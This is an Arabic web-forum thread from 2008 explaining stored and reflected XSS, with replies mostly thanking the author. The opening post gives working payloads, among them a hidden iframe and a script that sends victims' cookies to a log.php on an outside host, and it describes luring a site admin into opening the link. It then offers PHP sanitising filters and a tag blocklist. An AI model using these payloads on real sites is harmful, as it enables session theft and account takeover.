بحث متقدم | التسجيل
الويب العربي
  تسجيل دخول
 
   
   

  ملاحظة
الموقع متاح للإطلاع والقراءة فقط، المشاركة والمواضيع الجديدة غير متاحة حالياً لحين تطوير الموقع.




الموقع متاح للإطلاع والقراءة فقط، المشاركة والمواضيع الجديدة غير متاحة حالياً لحين تطوير الموقع.

عـودة للخلف   الويب العربي المركز التعليمي المجاني أمن المعلومات

أمن المعلومات مقالات, أخبار, مواضيع حول أمن المعلومات, وحماية أنظمة التشغيل, الشبكات, المواقع, البيانات السرية.

موضوع مغلق اضف موضوع جديد
 
خيارات الموضوع طريقة العرض
  #1  
قديم 10-02-2008, 11:46 AM
الصريح جداً الصريح جداً غير متصل
عضو
 
تاريخ التسجيل: May 2006
المدينة: جـ JeDDaH ـدة
مشاركة: 2,933
مستوى تقييم العضوية: 0
الصريح جداً is on a distinguished road
وسام الويب الذهبي وسام الويب الفضي وسام الويب البرونزي 
عدد الأوسمة: 3 (المزيد ...)
Smile دراسة مبسطة حول ثغرات الـ XSS !

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

مساكم الله بالخير .. كيف الحال عساكم بخير ان شاء الله

موضوعنا اليوم .. دراسة حول ثغرات الـ XSS .. والموضوع أمني هكري >> افهمها عاد

ثغرات الـ xss سمعنا فيها كثير .. وكأقرب مثال عندنا ثغرات التحويل بهاك آخر عشرة مواضيع و الاحصائيات

وغيره من السكريبتات ..

مقدمة /

عبارة xss .. هي اختصار للعبارة التالية " Cross Site Scripting " وبعض الأحيان تسمى الثغرات بإسم CSS

ثغرة الـ xss .. باختصار .. هي تمكن المخترق من حقن اكواد html داخل السكريبت المصاب

وتكون عن طريق خطأ برمجي داخل السكريبت ..

الخطورة /

تخيل معي انك داخل موقع ومحصل فيه ثغرة xss .. جاك واحد قال لك .. الحين انت تقدر تضيف للموقع
اي كود html .. سواء اكواد عادية او جافا سكريبت وغيره من توابع لغة html ..
هنا نبدا التفكير .. حنا وش نقدر نسوي بالـ html عشان نحقنها داخل الموقع ؟؟
ما توصلت له من نتايج بحثي البسيطة ..
1- سرقة كوكيز اي شخص داخل نظام السكريبت .
2- تلغيم الموقع بحقن كود html .. لثغرة بمتصح معين لتحميل الباتش بجهاز متصفحين السكريبت .
3- اضافة اي كود جافا سكريبت الى الموقع .
4- اضافة أي كود html بجميع انواعه الى الموقع .

اعتقد كذا الخطورة وضحت .. البعض كان يتوقع ان الثغرات ذي تافهه ومالها معنى .. لكن اللي يفكر زين

يحصل نتايج حلوة واستغلالات أقوى بإذن الله .. على سبيل المثال .. ركزوا على النتيجة رقم 2

تلاحظون ان الخطورة وصلت لحقن باتش بالسكريبت .. ومن ثم ينتشر بجهاز الزوار بمجرد تصفح السكريبت

من بين الزوار مدير السكريبت او صاحب الموقع او صاحب الاستضافة .. تخيلوا معي ان جهازه طاح فيه باتش

وش راح يوصل له الهكر ؟؟

جهازه + ايميله + بيانات المواقع بجهازه ..

وكل نتيجة من النتايج بالأعلى لها خطورة .. كل واحدة أخطر من الثانية للي يفكر ويستغل زين !!

================================
انواع ثغرات الـ XSS ..!!

1- xss داخلي .
2- xss خارجي .
================================

نبدا بتفصيل النوع الأول وهو الـ xss الداخلي ..

بكل بساطه وهي ان يتم حقن الكود داخل الموقع .. عن طريق الـ POST
كمثال ..
ثغرة الـ xss في هاك الاهداءات .. كيف يتم حقن الـ xss داخل المنتدى ؟؟

كل اللي عليك .. تدخل تسوي اضافة اهداء .. مكان محتوى الاهداء اكتب كود الـ html تبعك

كنك على الـ code داخل الفرونت بيج

ثم اضغط زر اضافة .. وسوي تحديث لصفحة المنتدى .. وبتلاحظ ان شريط الاهداءات شغال وفيه اهداءك

محقون بكود html .. يتنفذ في جميع الأجهزة اللي تشاهد الاهداءات !!

هنا نقول عنه حقن داخلي .. لأنه تم عن طريق الـ POST تبع الاهداءات " نموذج اضافة اهداء "

وبعد الكود داخلي محفوظ ويتنفذ للجميع ..

جرب شف اي سكريبت مصاب بثغرة xss داخليه

احقنه بهالكود

كود:
 <html>
<iframe name="I1" src="http://www.hack15.com" marginwidth="1" marginheight="1" height="1" width="1" scrolling="no" border="0" frameborder="0">
</iframe>
</iframe></p>
</html>
بمجرد حقن هذا الكود داخل السكريبت .. سيتم ادراج صفحة www.hack15.com داخل الموقع بشكل غير مرئي

.. لنفرض ان صفحة hack15.com .. فيها كود سحب الكوكيز .. او ملغومة بباتش .. أو أي كود html آخر خطر !!

وعدا ذلك من الأكواد اللي تقدر تبحث عنها بقوقل .. وتحقنها بسهولة داخل السكريبت المصاب ..

================================================

اما بالنسبة للنوع الثاني ..

ثغرات الـ xss الخارجية ..

هالنوع من الثغرات لايحقن من داخل الموقع .. ولكن من خارج الموقع عن طريق المتصفح من خلال رابط الموقع

ولايتم حفظ الحقن داخل الموقع .. بمعنى أصح .. الكود اللي تحقنه داخل الصفحة .. انت الوحيد اللي تشوفه ..

وبعد ما تستعرضه انت ما راح يشوفه احد غيرك !!

مثال ..

كود:
 www.site.com/show.php?edit=[xss]


مثل ما تلاحظون الملف المصاب هو show.php وفيه ثغرة xss في المتغير edit

بمعنى آخر .. اي كود نطبعه بعد علامة " = " يتم عرضه داخل الصفحة ==> لك فقط !!

تعالوا نجرب نحقن كود html لآظهار مربع رسالة خطأ مكتوب فيه .. Hacked By GeNiUs HaCkEr

.. شف الكود

كود:
<<SCRIPT>alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>
مع دجه بالثغره الافتراضية فوق

الحقن بيكون كذا

كود:
 www.site.com/show.php?edit=<<SCRIPT>alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>
جرب ادخل الرابط بالأعلى .. بتلاحظ ظهور مربع خطأ مكتوب فيه Hacked By GeNiUs HaCkEr

الحقن خارجي .. وكذلك الحقن ما يظهر إلا لك انت .. بمعنى آخر هالكود ينحقن وينعرض لك ثم ينحذف

ما احد يشوفه غير اللي يدخل رابط الحقن نفسه

هنا بيجي سؤال .. كيف أظهر الحقن ذا للضحية اللي ابيه يشوفه

يعني ارسل رسالة لمدير الموقع اقول له يدخل الرابط ذا

كود:
  www.site.com/show.php?edit=<<SCRIPT>alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

صعبة شوي .. ومالها فايده .. بيفهم الثغرة بالراحة .. ^_^

جاك واحد ثاني قال لا !!

يقول لك اخونا في الله .. شرايكم .. نسوي ملف log.php على موقع ثاني .. مهمته يستقبل اي معلومات توصل له

ويرسلها لايميلك

الآن .. نستخدم ثغرة الـ xss في الموقع .. نعطيها أمر سحب الكوكيز من جهاز الضحية .. ويرسلها لملف log.php

وملف log.php .. يوصلها لنا برسالة .. بعدها حنا .. ناخذ الكوكيز .. ونفكه وندخل بعضوية المدير العام ونخترق السكريبت !!

شف على سبيل المثال نحقن ذا الكود /

كود:
 <Script>dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie</Script>
تعالوا نحقنه عن طريق الرابط
كود:
 www.site.com/show.php?edit=<<SCRIPT>dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie<</SCRIPT>
الحين اي شخص يدخل الرابط المحقون ذا .. بيسحب الكوكيز من جهازه ويرسلها لملف log.php

كيف نخلي مدير الموقع أو الضحية يفتح الرابط ذا عشان نسحب كوكيزه ؟؟

أو بمعنى أصح كيف الهكر يسحب الكوكيز ويدخلني انا كصاحب سكريبت فيه هالثغره ويسحب كوكيزي ؟؟

بسيطه جداً عالهكر .. يسوي صفحة html عاديه ويضيف لها فريم داخلي مخفي .. ( iframe )

انه فتح لي هالرابط داخل الصفحة بدون ما الاحظ فتحه او افتحه بنفسي

كود:
 www.site.com/show.php?edit=<<SCRIPT>dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie<</SCRIPT>

ويرفعه على اي موقع .. ويدخلنا فيه عاد بطريقته ويسحب الكوكيز !!

عاد الهكر .. كل واحد يطور براحته في الثغره .. خاصة اللي يفهم بلغة الجافا سكريبت ..

يسوي أكثر من كذا !!

================================================== ========================

الحل /

ان اكتشفت انه فيه ثغرة داخل ملف add.php مثلاً بأحد السكريبتات بموقعك

فيه طريقتين للحل .. حسب ما بحثت وقريت ..

الحل الأول .. تعدل على الكود .. وتمنع اكواد الـ html من التنفيذ

او تضيف function Remove XSS

حصلته في أحد المواضيع للأخ jadweb.com

وصراحه جربته .. وفعال وناجح !!

مثل الفلتر .. يفلتر لك النصوص بأحد المتغيرات

ظيفة الـ function هي حذف اي ثغرة من نوع XSS بشكل نهائي لو يتم استخدامه

في اي برنامج راح يزيد نسبة الآمان بشكل كبير .

طبعاً هذا كود الـ function
كود:
function RemoveXSS($val) {
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
   // this prevents some character re-spacing such as <java\0script>
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
   $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);

   // straight replacements, the user should never need these since they're normal characters
   // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
   $search = 'abcdefghijklmnopqrstuvwxyz';
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $search .= '1234567890!@#$%^&*()';
   $search .= '~`";:?+/={}[]-_|\'\\';
   for ($i = 0; $i < strlen($search); $i++) {
      // ;? matches the ;, which is optional
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

      // &#x0040 @ search for the hex values
      $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      // @ @ 0{0,7} matches '0' zero to seven times
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
   }

   // now the only remaining whitespace attacks are \t, \n, and \r
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $ra = array_merge($ra1, $ra2);

   $found = true; // keep replacing as long as the previous round replaced something
   while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = '/';
         for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
               $pattern .= '(';
               $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
               $pattern .= '|(&#0{0,8}([9][10][13]);?)?';
               $pattern .= ')?';
            }
            $pattern .= $ra[$i][$j];
         }
         $pattern .= '/i';
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
         if ($val_before == $val) {
            // no replacements were made, so exit the loop
            $found = false;
         }
      }
   }
}
لكن صعبه كل سكريبت .. نكتب هالسطور الطويله بأعلاه ..

لذلك اختصره عليكم

ذي صفحة php
كود:
 <?
function RemoveXSS($val) {
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
   // this prevents some character re-spacing such as <java\0script>
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
   $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);

   // straight replacements, the user should never need these since they're normal characters
   // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
   $search = 'abcdefghijklmnopqrstuvwxyz';
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $search .= '1234567890!@#$%^&*()';
   $search .= '~`";:?+/={}[]-_|\'\\';
   for ($i = 0; $i < strlen($search); $i++) {
      // ;? matches the ;, which is optional
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

      // &#x0040 @ search for the hex values
      $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      // @ @ 0{0,7} matches '0' zero to seven times
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
   }

   // now the only remaining whitespace attacks are \t, \n, and \r
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $ra = array_merge($ra1, $ra2);

   $found = true; // keep replacing as long as the previous round replaced something
   while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = '/';
         for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
               $pattern .= '(';
               $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
               $pattern .= '|(&#0{0,8}([9][10][13]);?)?';
               $pattern .= ')?';
            }
            $pattern .= $ra[$i][$j];
         }
         $pattern .= '/i';
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
         if ($val_before == $val) {
            // no replacements were made, so exit the loop
            $found = false;
         }
      }
   }
}
?>
احفظ هالصفحة بإسم xss.php

وارفعها داخل مجلد السكريبت اللي فيه الملف المصاب

ثم ادخل الملف المصاب وضيف له هالسطر بأعلى الكود

كود:
 include (xss.php);
الآن لابد تلاحظ المتغير المصاب .. وتسوي له فلتره ..

كمثال المتغير name .. عملية الفلترة كالتالي

كود:
 $name = RemoveXSS($HTTP_POST_VARS['name']);
وهذي دالة خفيفة وصغيرة جداً .. وتم استخدامها بترقيع هاك الاهداءات " فعالة "

كود:
 function clean($val){ 
        return htmlspecialchars(strip_tags(addslashes($val))); 
}

تؤدي الغرض بإذن الله

هذا والله اعلم

أخوكم في الله .. حسين

تشآآآآآآآآآآآآآآآآآآآآو






التوقيع
كنتُ هنا يوماً ما ...
  #2  
قديم 10-02-2008, 11:57 AM
Mr.shares Mr.shares غير متصل
عضو
 
تاريخ التسجيل: Sep 2007
مشاركة: 58
مستوى تقييم العضوية: 17
Mr.shares is on a distinguished road
الافتراضي

ماقصرت ياحسين توضيح كامل للـ Xss ..

والأغلبيه يحسبونها فآشله ..


ماكأنا سيرفر الزون اتش طاح من سالفه الـ Xss ..


يعطيك العافيه ياحسين ^_* ..


Mr.shares






التوقيع
Mr.shares

Hack15.Com & V99x.Com
  #3  
قديم 10-02-2008, 12:02 PM
الصريح جداً الصريح جداً غير متصل
عضو
 
تاريخ التسجيل: May 2006
المدينة: جـ JeDDaH ـدة
مشاركة: 2,933
مستوى تقييم العضوية: 0
الصريح جداً is on a distinguished road
وسام الويب الذهبي وسام الويب الفضي وسام الويب البرونزي 
عدد الأوسمة: 3 (المزيد ...)
الافتراضي

الله يعافيك شرس .. حياك الله

وش دراك بسالفة الزون اتش

تشآآو






التوقيع
كنتُ هنا يوماً ما ...
  #4  
قديم 10-02-2008, 12:20 PM
السكربت العربي السكربت العربي غير متصل
عضو
 
تاريخ التسجيل: Apr 2005
مشاركة: 1,231
مستوى تقييم العضوية: 22
السكربت العربي will become famous soon enough
وسام الويب الذهبي وسام الويب الفضي وسام الويب البرونزي 
عدد الأوسمة: 3 (المزيد ...)
الافتراضي

حسين, جعل ربي يبآرك فيك ماقصرت يالغالي والله, لاتحرمنا جديدك..

تم التثبيت لبعض الوقت لتعم الفائدة.


السكربت العربي.





  #5  
قديم 10-02-2008, 02:47 PM
الصريح جداً الصريح جداً غير متصل
عضو
 
تاريخ التسجيل: May 2006
المدينة: جـ JeDDaH ـدة
مشاركة: 2,933
مستوى تقييم العضوية: 0
الصريح جداً is on a distinguished road
وسام الويب الذهبي وسام الويب الفضي وسام الويب البرونزي 
عدد الأوسمة: 3 (المزيد ...)
الافتراضي

حياك الله السكربت العربي .. منور طال عمرك .. وشكراً عالتثبيت

تشآآآو






التوقيع
كنتُ هنا يوماً ما ...
  #6  
قديم 11-02-2008, 11:52 AM
الصورة الشخصية لـ أبو عيــاد
أبو عيــاد أبو عيــاد غير متصل
مستشار
 
تاريخ التسجيل: Nov 2006
المدينة: سطح المكتـب
مشاركة: 569
مستوى تقييم العضوية: 19
أبو عيــاد is on a distinguished road
وسام الويب الفضي 
عدد الأوسمة: 1 (المزيد ...)
الافتراضي

وعليكم السلام ورحمة الله وبركاته

تحليل جميل للثغرة .. وطرح أروع ..
يعطيك العافيه ياحسيــن .


مع كل الود






التوقيع
انا اعمل و اؤمن بالتالي :
- كل ماتراه عظيما في الحياة , بدأ بفكرة ومن بداية صغيرة .
- قضاء سبع ساعات في التفكير والتخطيط بشكل واضح , افضل من قضاء سبع أيام دون توجية او هدف .!

- أفكاري , مقالاتي , رؤيتي هنا
  #7  
قديم 11-02-2008, 04:05 PM
الصريح جداً الصريح جداً غير متصل
عضو
 
تاريخ التسجيل: May 2006
المدينة: جـ JeDDaH ـدة
مشاركة: 2,933
مستوى تقييم العضوية: 0
الصريح جداً is on a distinguished road
وسام الويب الذهبي وسام الويب الفضي وسام الويب البرونزي 
عدد الأوسمة: 3 (المزيد ...)
الافتراضي

الله يعافيك .. حياك الله يابو عياد

تشآآو






التوقيع
كنتُ هنا يوماً ما ...
  #8  
قديم 26-02-2008, 04:18 PM
elite00 elite00 غير متصل
عضو
 
تاريخ التسجيل: Feb 2008
مشاركة: 5
مستوى تقييم العضوية: 0
elite00 is on a distinguished road
الافتراضي

لا هنت يالغلا مشكــور





  #9  
قديم 27-02-2008, 08:58 PM
kenawy kenawy غير متصل
عضو
 
تاريخ التسجيل: Feb 2008
مشاركة: 10
مستوى تقييم العضوية: 0
kenawy is on a distinguished road
الافتراضي

مشكور اخى

موضوع مفيد





  #10  
قديم 23-03-2008, 09:52 PM
الصورة الشخصية لـ Mustafa Albazy
Mustafa Albazy Mustafa Albazy غير متصل
مصطفى البازي
 
تاريخ التسجيل: Mar 2004
المدينة: المملكة المتحدة - لندن
مشاركة: 1,558
مستوى تقييم العضوية: 10
Mustafa Albazy is on a distinguished road
وسام المشرف المميز في الويب العربي وسام الويب البرونزي وسام الويب الفضي وسام الويب الذهبي 
عدد الأوسمة: 4 (المزيد ...)
الافتراضي

يعطيك العافية اخوي حسين .






التوقيع
  #11  
قديم 05-04-2008, 02:11 PM
الحر الاشقر الحر الاشقر غير متصل
عضو
 
تاريخ التسجيل: Oct 2007
مشاركة: 8
مستوى تقييم العضوية: 0
الحر الاشقر is on a distinguished road
الافتراضي

يعطيك الف عافيه على الشرح





  #12  
قديم 05-04-2008, 02:26 PM
الصريح جداً الصريح جداً غير متصل
عضو
 
تاريخ التسجيل: May 2006
المدينة: جـ JeDDaH ـدة
مشاركة: 2,933
مستوى تقييم العضوية: 0
الصريح جداً is on a distinguished road
وسام الويب الذهبي وسام الويب الفضي وسام الويب البرونزي 
عدد الأوسمة: 3 (المزيد ...)
الافتراضي

العفو حياكم ..

طريقة الفلترة الصحيحة كالتالي /

RemoveXSS($HTTP_POST_VARS['name']);

تشآآآو






التوقيع
كنتُ هنا يوماً ما ...
  #13  
قديم 05-04-2008, 09:05 PM
Mr.Li0N Mr.Li0N غير متصل
عضو
 
تاريخ التسجيل: Nov 2007
المدينة: جـــ Jeddah ـــدة
مشاركة: 18
مستوى تقييم العضوية: 0
Mr.Li0N is on a distinguished road
إرسال رسالة عبر MSN إلى Mr.Li0N
الافتراضي يوفقك ربي ..........

ونعم والله بـ أبوعابد ...

والله لو أشكر من الآن إلى بكرة ما وفيت حقك ...........


أنا أحاول أدور موضوع عن الثغرات هذي ولقيت الحل عندك



تقبل مروووور أخوك ServeR00T






  #14  
قديم 08-04-2008, 09:02 AM
الصورة الشخصية لـ أزهار قلبي
أزهار قلبي أزهار قلبي غير متصل
عضو
 
تاريخ التسجيل: Dec 2007
مشاركة: 28
مستوى تقييم العضوية: 0
أزهار قلبي is on a distinguished road
الافتراضي

يعطيك الف عافيه على الشرح





  #15  
قديم 08-04-2008, 04:40 PM
تاج يافع تاج يافع غير متصل
عضو
 
تاريخ التسجيل: Apr 2007
مشاركة: 6
مستوى تقييم العضوية: 0
تاج يافع is on a distinguished road
الافتراضي

بارك الله فيك اخوي





  #16  
قديم 27-04-2008, 01:36 PM
شركة النورس لماهر شركة النورس لماهر غير متصل
عضو
 
تاريخ التسجيل: Apr 2008
مشاركة: 5
مستوى تقييم العضوية: 0
شركة النورس لماهر is on a distinguished road
الافتراضي

يسلموا ويعطيك ربى العافيه





  #17  
قديم 27-04-2008, 01:51 PM
الصريح جداً الصريح جداً غير متصل
عضو
 
تاريخ التسجيل: May 2006
المدينة: جـ JeDDaH ـدة
مشاركة: 2,933
مستوى تقييم العضوية: 0
الصريح جداً is on a distinguished road
وسام الويب الذهبي وسام الويب الفضي وسام الويب البرونزي 
عدد الأوسمة: 3 (المزيد ...)
الافتراضي

الله يعافيكم ويسلمكم .. منورين يالغلا ما قصرتم

تشآآآآو






التوقيع
كنتُ هنا يوماً ما ...
  #18  
قديم 28-04-2008, 05:02 AM
الصورة الشخصية لـ alromnce
alromnce alromnce غير متصل
عضو
 
تاريخ التسجيل: May 2007
مشاركة: 39
مستوى تقييم العضوية: 0
alromnce is on a distinguished road
Awt15

أخوي العزيز الغالي ^*GENIUS*^

حبيت أشكرك على هذا الجهد وعلى هذا الابداع وبالفعل نحن كأصحاب مواقع نحتاج لهذا الدرس وخصوصاً إذا كان من أستاذنا العزيز القدير

أستاذي ^*GENIUS*^

انا أكتشفت ثغرة في منتداي وهي كالتالي


http://www.site.com/vb/showthread.php?s=<script>al ert('hacking%20xss')</script>

فقد قلت لنا يا أستاذي القدير :-


وارفعها داخل مجلد السكريبت اللي فيه الملف المصاب



طيب كيف اعرف مكان السكريبت المصاب ؟

والعذر والسموحه على الاطاله





  #19  
قديم 28-04-2008, 02:41 PM
الصريح جداً الصريح جداً غير متصل
عضو
 
تاريخ التسجيل: May 2006
المدينة: جـ JeDDaH ـدة
مشاركة: 2,933
مستوى تقييم العضوية: 0
الصريح جداً is on a distinguished road
وسام الويب الذهبي وسام الويب الفضي وسام الويب البرونزي 
عدد الأوسمة: 3 (المزيد ...)
الافتراضي

حياك الله

السكريبت المصاب هو المنتدى حسب الرابط اللي وضعته

ومن الرابط أيضاً نجد أن الملف المصاب هو showthread.php

والمتغير اللي يحتاج فلترة هو s

عملية الفلترة تكون بالشكل التالي

ضيف السطر ذا أعلى الملف

إقتباس:

function clean($val){
return htmlspecialchars(strip_tags(addslashes($val)));
}


وتحته ضيف هالأمر للفلترة

إقتباس:

clean(here);


استبدل عبارة " here " بالمتغير اللي تبي تسوي له عملية الفلترة

وفقك الله

تشآآآآآو






التوقيع
كنتُ هنا يوماً ما ...
  #20  
قديم 29-04-2008, 12:07 AM
الصورة الشخصية لـ alromnce
alromnce alromnce غير متصل
عضو
 
تاريخ التسجيل: May 2007
مشاركة: 39
مستوى تقييم العضوية: 0
alromnce is on a distinguished road
الافتراضي

مشكور يا أستاذي العزيز ولكن يوجد لدي سؤال يالغالي

والعذر والسموحه إني أزعجتك

هل عملية الفلترة ثابتة القيمة اللي انا اقتبسته هل هو ثابت؟ مع كل ملف مصاب

إقتباس:

function clean($val){
return htmlspecialchars(strip_tags(addslashes($val)));
}



او كل ملف مصاب له فلتره خاصه ؟





موضوع مغلق



خيارات الموضوع
طريقة العرض

قوانين المشاركة
لا يمكنك إضافة موضوع جديد
لا يمكنك الرد على المواضيع
لا يمكنك إضافة مرفقات
لا يمكنك تعديل مشاركاتك

كود vB متاح
كود [IMG] متاح
كود HTML مغلق
إنتقل إلى


جميع الأوقات بتوقيت مكة المكرمة. الساعة الآن » 03:40 PM.

Powered by vBulletin
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.


 
 »  خدمات البرمجة   »  رئيسية الدليل
  »  خدمات التصميم   »  الأمن والحماية
  »  الدعاية والتسويق
  »  الدعم والتطوير
  »  الشركات الرسمية
  »  حجز دومينات
  »  خدمات الإستضافة
 
 
  »  مكتبة الإستايلات   »  رئيسية المكتبة
  »  أكواد برمجية   »  أدوات الويب ماسترز
  »  مكتبة الهاكات   »  أدوات المصممين
  »  سكربتات متنوعة
  »  مجلات إلكترونية
  »  بلوكات متنوعة
  »  ثيمات مختلفة
 
 

صحيفة متخصصة في متابعة أخبار وجديد الإنترنت العربي
والحوارات الصحفية ومعلومات تقنية متنوعة .

   
 
 

للتواصل مع فريق عمل الويب العربي
يمكنك ذالك من خلال مركز الدعم والمساندة.

 الدعم الفني |  اعتماد العضويات |  قوانين الإنتساب |  إتفاقية الإستخدام |  أهداف الويب العربي |  دليل الشركات |  مكتبة الويب |  صحيفة الويب العربي |  الرئيسية